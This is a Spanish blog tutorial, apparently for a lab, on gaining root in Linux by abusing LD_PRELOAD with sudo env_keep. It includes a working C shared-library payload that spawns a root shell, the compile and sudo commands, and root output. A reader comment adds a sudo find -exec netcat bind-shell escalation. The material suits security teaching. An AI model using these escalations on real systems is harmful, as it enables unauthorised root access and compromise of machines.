Escalado de privilegios en Linux usando LD_PRELOAD

Las librerías compartidas (shared libraries en inglés) en Linux/Unix normalmente tienen el prefijo lib y la extensión .so. Los programas ld.so y ld-linux.so * encuentran y cargan los objetos compartidos (librerías compartidas) que necesita un programa, preparan el programa para ejecutarlo y luego lo ejecutan.
LD_Preload es la variable de entorno que lista las rutas de la librerías compartidas, al igual que /etc/ld.so.preload. Hoy vamos a ver cómo aprovechar esta característica común para escalar privilegios.

Primero el usuario loggeado debe tener algunos derechos de sudo, por lo tanto, para nuestro laboratorio daremos por ejemplo permisos de sudo al usuario sobre /usr/bin/find.
Por otro lado, muchas veces necesitamos que el programa que ejecutamos con sudo "sepa" donde buscar las librerías compartidas para funcionar. Para preservar las variables de entorno necesarias utilizaremos la variable env_keep. El fichero /etc/sudoers quedará de la siguiente forma:


Ya sabéis que para explotar ese tipo de vulnerabilidad, debemos comprometer la máquina de la víctima primero y luego pasar a la fase de escalada de privilegios. Supongamos que se inicia sesión a través de ssh y ejecutamos el comando sudo -l:


Con sólo eso ya sabemos "por dónde van los tiros". Ahora vamos a generar un pequeño programa en C llamado shell.c dentro del directorio /tmp (en el que normalmente tendremos permisos de escritura):
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

Después lo compilaremos para generar una librería compartida con la extensión .so:
$ cc -fPIC -shared -o shell.so shell.c -D_GNU_SOURCE -nostartfiles

vmotos@victim:/tmp$ ls -al shell.so
-rwxrwxr-x 1 vmotos vmotos 6456 jun 17 23:44 shell.so

Ahora ejecutaremos la "magia" con sudo:
vmotos@victim:/tmp$ sudo LD_PRELOAD=/tmp/shell.so find

# id
uid=0(root) gid=0(root) grupos=0(root)

# whoami
root

¡Y ya somos root!

Comentarios

  1. Y digo yo, ¿no era más fácil escalar aprovechando directamente los permisos sobre find?

    touch xxx
    sudo find xxx -exec whoami \;
    sudo find xxx -exec netcat -lvp 5555 -e /bin/sh \;
    netcat localhost 5555

    Todo se ejecuta como root en este ejemplo...

    ResponderEliminar

Publicar un comentario